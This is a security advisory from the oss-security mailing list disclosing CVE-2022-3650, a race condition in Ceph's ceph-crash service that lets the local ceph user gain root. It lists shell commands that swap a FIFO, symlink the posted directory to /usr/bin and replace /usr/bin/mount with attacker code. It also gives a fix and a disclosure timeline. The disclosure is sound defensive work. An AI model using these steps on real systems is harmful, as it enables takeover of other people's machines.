[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 25 Oct 2022 12:00:11 +0200
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: ceph: ceph-crash.service allows local ceph user to root exploit
(CVE-2022-3650)
Hello list,
this report is about a ceph user to root privilege escalation in the
ceph-crash systemd service which is part of the ceph-base component of
the Ceph distributed storage system project [1]. This report relates to
Ceph version 16.2.9.
The Vulnerability
=================
The ceph-crash.service [2] runs the ceph-crash Python script [3] as
root. The script is operating in the directory /var/lib/ceph/crash which
is controlled by the unprivileged ceph user (ceph:ceph mode 0750). The
script periodically scans for new crash directories and forwards the
content via `ceph crash post`. This constellation is subject to security
issues that can allow the ceph user to either:
1) post arbitrary data as a "crash dump", even content from private
files owned by root. The consequences of this are not fully clear to me,
it could be an information leak if the security domain of "root" on the
system is different to the security domain of wherever the ceph-crash
data will be sent to / accessible afterwards. The `ceph crash post`
command expects JSON input, however, thus the degree of freedom for
this is reduced.
2) cause a denial-of-service by feeding large amounts of data into the
`ceph crash post` process. This can cause high amounts of memory and CPU
consumption. By placing a symlink or FIFO into the directory instead of
an actual file, the script can be made to read from a device file
like /dev/random or to block forever.
3) cause a local ceph to root user privilege escalation by tricking
ceph-crash to move a ceph controlled file into a privileged file system
location.
Item 3) is the most critical of these possibilities. The ceph-crash
script basically does the following at a regular interval (by default
every 10 minutes):
a) it iterates over all sub-directories of /var/lib/ceph/crash
and for each sub-directory it does the following:
b) it checks whether <crash>/meta is a regular file; if not then the
dir is skipped.
c) it checks whether <crash>/done is a regular file; if not then it
sleeps for one second and checks again; if still not then the dir
is skipped.
d) it feeds the content of <crash>/meta to stdin of the command line
timeout 30 ceph -n <auth> crash post -i -
e) only if the crash post succeeded (exit code 0) will the script
attempt to perform
os.rename("/var/lib/ceph/crash/<crash>",
"/var/lib/ceph/crash/posted/<crash>")
The sleep of one second in step c) makes it easier winning the involved
race condition. A possible approach for a compromised ceph user account
for exploiting this is the following:
- create a fake crash directory named 'mount', containing an empty
'meta' file:
ceph$ mkdir /var/lib/ceph/crash/mount
ceph$ touch /var/lib/ceph/crash/mount/meta
- wait for c) to happen i.e. ceph-crash sleeps for a second to wait for
the "done" file to appear. This can be done in an event triggered
fashion by using the inotify API to detect the service opening the
crash directory. While ceph-crash is sleeping create the "done" file
and replace "meta" by a FIFO:
ceph$ touch /var/lib/ceph/crash/mount/done
ceph$ rm /var/lib/ceph/crash/mount/meta
ceph$ mkfifo /var/lib/ceph/crash/mount/meta
On success the "ceph-crash" script, upon returning from the one second
sleep, will block on the FIFO until the attacker is writing data into
it, giving the attacker enough time to stage the rest of the attack
(30 seconds, because of the `timeout` frontend command used in step
d).
- while ceph-crash is busy forwarding data to `ceph crash post` the ceph
user can replace the "mount" directory by a regular file and prepare a
symlink attack:
ceph$ mv /var/lib/ceph/crash/mount /var/lib/ceph/crash/oldmount
ceph$ echo 'echo evil code' >/var/lib/ceph/crash/mount
ceph$ chmod 755 /var/lib/ceph/crash/mount
ceph$ mv /var/lib/ceph/crash/posted /var/lib/ceph/crash/posted.old
ceph$ ln -s /usr/bin /var/lib/ceph/crash/posted
# unblock the ceph-crash script
ceph$ echo "$FAKE_JSON_DATA" >/var/lib/ceph/crash/oldmount/meta
If this succeeds in time then during step e) the ceph-crash script will
rename the ceph controlled "mount" file to /usr/bin/mount, thereby
replacing the system binary "mount" by the ceph controlled script. Any
root process invoking this is then executing exploit code. Any other
binary could be used for this, or also configuration files in /etc that
could allow to crack the system.
Because /var/lib/ceph/crash is not world-writable and has no sticky bit,
the Linux kernel's symlink protection is not coming to the rescue in
this constellation. A precondition is, however, that the file system
/var/lib/ceph is the same file system as the target directory for the
`rename()`, because `rename()` does not work across file system
boundaries. For many default Linux setups this is the case though.
Reproducer
==========
Attached to this e-mail is a proof of concept exploit script that
demonstrates the vulnerability. Running the script with ceph:ceph
credentials pretty reliably replaces /usr/bin/mount by a ceph controlled
script. Since ceph-crash only executes its routine every 10 minutes it
can take a bit of time to succeed if the race is not won, but it is
well within reach to succeed in a real world scenario.
I did not test this in a real world Ceph setup. For testing purposes I
let the invocation of "ceph crash post" always succeed. From reading the
Python code executed by "ceph crash post" I believe that the JSON data I
use in the exploit script should be accepted and lead to a zero exit
code.
Possible Fix
============
To fix the issue the simplest route I see would be to execute the
ceph-crash script also as ceph:ceph. If this is not possible for some
reason though then a careful selection of system calls and/or temporary
privilege drops will be necessary in the ceph-crash script to avoid any
symlink attacks and other race conditions on file system level.
The systemd service, the ceph-crash script and also the directory
permissions for /var/lib/ceph/crash are not specific to SUSE packaging
but are already found in the upstream sources. Also Fedora Linux ships
with the same setup, for example.
I reported this finding to the Ceph security mailing list a while ago.
Red Hat assigned the CVE for the issue. I did not get a confirmation
from their side yet whether the issue could be reproduced with a real
world Ceph setup. I also didn't hear about upstream's plans and schedule
for an actual bugfix.
Timeline
========
2022-09-22: I reported the vulnerability to security@...h.io suggesting
an embargo period of 14 days.
2022-10-10: I provided some additional information to security@...h.io
suggested two more weeks of embargo, because I wasn't
available for some time and things didn't progress much.
2022-10-21: I inquired security@...h.io about the state of their
analysis and bugfixing. I received the CVE for the issue.
They suffers some delays in handling the issue but we agreed
to publish the full report today anyway.
[1]: https://github.com/ceph/ceph
[2]: https://github.com/ceph/ceph/blob/85454b3262ef887aacb8f54f23646d6f163df2ee/systemd/ceph-crash.service.in
[3]: https://github.com/ceph/ceph/blob/85454b3262ef887aacb8f54f23646d6f163df2ee/src/ceph-crash.in
Best Regards
Matthias
--
Matthias Gerstner <matthias.gerstner@...e.de>
Security Engineer
https://www.suse.com/security
GPG Key ID: 0x14C405C971923553
SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Ivo Totev, Andrew Myers, Andrew McDonald, Boudien Moerman
View attachment "ceph_crash_exploit.py" of type "text/plain" (3645 bytes)
Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
